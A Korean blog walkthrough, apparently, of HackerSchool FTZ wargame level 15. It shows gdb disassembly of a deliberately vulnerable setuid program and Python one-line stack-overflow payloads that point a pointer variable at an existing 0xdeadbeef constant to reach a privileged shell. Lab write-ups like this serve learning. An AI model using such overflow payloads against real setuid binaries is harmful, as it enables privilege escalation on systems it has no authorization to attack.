ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • lvl 15
    Wargame/HackerSchool FTZ 2019. 1. 23. 09:34

    → 힌트 정보 확인.




    → 14번 문제와 동일한 것 같지만, 분기문에서 check가 포인터임을 알 수 있다.


    → 즉, check 변수에 0xdeadbeef를 입력하는게 아니고, check 변수에 저장하는 값이 가리키는 메모리 주소에 0xdeadbeef를 넣어야 한다.


    → gdb로 디버깅.


    [level15@ftz tmp]$ gdb -q attackme

    (gdb) set disassembly-flavor intel

    (gdb) disas main

    Dump of assembler code for function main:

    0x080483b8 <main+0>:    push   ebp

    0x080483b9 <main+1>:    mov    ebp,esp

    0x080483bb <main+3>:    sub    esp,0x38

    0x080483be <main+6>:    and    esp,0xfffffff0

    0x080483c1 <main+9>:    mov    eax,0x0

    0x080483c6 <main+14>:    sub    esp,eax

    0x080483c8 <main+16>:    sub    esp,0x4

    0x080483cb <main+19>:    push   ds:0x80495d4

    0x080483d1 <main+25>:    push   0x2d

    0x080483d3 <main+27>:    lea    eax,[ebp-56]

    0x080483d6 <main+30>:    push   eax

    0x080483d7 <main+31>:    call   0x80482d8 <fgets>

    0x080483dc <main+36>:    add    esp,0x10

    0x080483df <main+39>:    mov    eax,DWORD PTR [ebp-16]

    0x080483e2 <main+42>:    cmp    DWORD PTR [eax],0xdeadbeef

    0x080483e8 <main+48>:    jne    0x804840f <main+87>

    0x080483ea <main+50>:    sub    esp,0x8

    0x080483ed <main+53>:    push   0xc18

    0x080483f2 <main+58>:    push   0xc18

    0x080483f7 <main+63>:    call   0x80482f8 <setreuid>

    0x080483fc <main+68>:    add    esp,0x10

    0x080483ff <main+71>:    sub    esp,0xc

    0x08048402 <main+74>:    push   0x80484c0

    0x08048407 <main+79>:    call   0x80482c8 <system>

    0x0804840c <main+84>:    add    esp,0x10

    0x0804840f <main+87>:    leave  

    0x08048410 <main+88>:    ret    

    0x08048411 <main+89>:    nop    

    0x08048412 <main+90>:    nop    

    0x08048413 <main+91>:    nop    

    End of assembler dump.



    → 14번 문제와 동일하며, ebp-16에다가 바로 0xdeadbeef로 덮는게 아니고, 0xdeadbeef 값이 저장되어 있는 주소 값을 페이로드에 넣으면 가능하다.


    → 메모리 맵은 14번 문제와 동일하다.


    → 원 소스 코드에 이미 0xdeadbeef 문자열이 있으므로 주소 값을 구한다.


    (gdb) x/16x main

    0x80483b8 <main>:    0x83e58955    0xe48338ec    0x0000b8f0    0xc4290000

    0x80483c8 <main+16>:    0xff04ec83    0x0495d435    0x8d2d6a08    0xe850c845

    0x80483d8 <main+32>:    0xfffffefc    0x8b10c483    0x3881f045    0xdeadbeef

    0x80483e8 <main+48>:    0xec832575    0x0c186808    0x18680000    0xe800000c

    (gdb) x/4x 0x80483e4

    0x80483e4 <main+44>:    0xdeadbeef    0xec832575    0x0c186808    0x18680000

    (gdb) x/x 0x80483e4

    0x80483e4 <main+44>:    0xdeadbeef



    → 따라서, 페이로드를 아래와 같이 구성한다.


    (python -c 'print "\x90"*40+"\xe4\x83\x04\x08"';cat)|./attackme



    → 시도한 결과, 실패했다. 알고보니 이건 내가 새로 만든 바이너리이므로, 0xdeadbeef 가 들어있는 주소 값이 원본 바이너리랑 상이하다. 그래서 원본 바이너리의 주소 값을 새로 구하였다.


    [level15@ftz level15]$ gdb -q attackme

    (gdb) set disassembly-flavor intel

    (gdb) disas main

    Dump of assembler code for function main:

    0x08048490 <main+0>:    push   ebp

    0x08048491 <main+1>:    mov    ebp,esp

    0x08048493 <main+3>:    sub    esp,0x38

    0x08048496 <main+6>:    sub    esp,0x4

    0x08048499 <main+9>:    push   ds:0x8049664

    0x0804849f <main+15>:    push   0x2d

    0x080484a1 <main+17>:    lea    eax,[ebp-56]

    0x080484a4 <main+20>:    push   eax

    0x080484a5 <main+21>:    call   0x8048360 <fgets>

    0x080484aa <main+26>:    add    esp,0x10

    0x080484ad <main+29>:    mov    eax,DWORD PTR [ebp-16]

    0x080484b0 <main+32>:    cmp    DWORD PTR [eax],0xdeadbeef

    0x080484b6 <main+38>:    jne    0x80484dd <main+77>

    0x080484b8 <main+40>:    sub    esp,0x8

    0x080484bb <main+43>:    push   0xc18

    0x080484c0 <main+48>:    push   0xc18

    0x080484c5 <main+53>:    call   0x8048380 <setreuid>

    0x080484ca <main+58>:    add    esp,0x10

    0x080484cd <main+61>:    sub    esp,0xc

    0x080484d0 <main+64>:    push   0x8048548

    0x080484d5 <main+69>:    call   0x8048340 <system>

    0x080484da <main+74>:    add    esp,0x10

    0x080484dd <main+77>:    leave  

    0x080484de <main+78>:    ret    

    0x080484df <main+79>:    nop    

    End of assembler dump.

    (gdb) x/x 0x080484b2

    0x80484b2 <main+34>:    0xdeadbeef


    → 새로구한 주소값으로 페이로드를 재구성한다.


    (python -c 'print "\x90"*40+"\xb2\x84\x04\x08"';cat)|./attackme






    'Wargame > HackerSchool FTZ' 카테고리의 다른 글

    lvl 17  (0) 2019.02.12
    lvl 16  (0) 2019.01.24
    lvl 14  (0) 2019.01.22
    lvl 13  (0) 2019.01.17
    lvl 12  (0) 2019.01.15

    댓글

Designed by Tistory.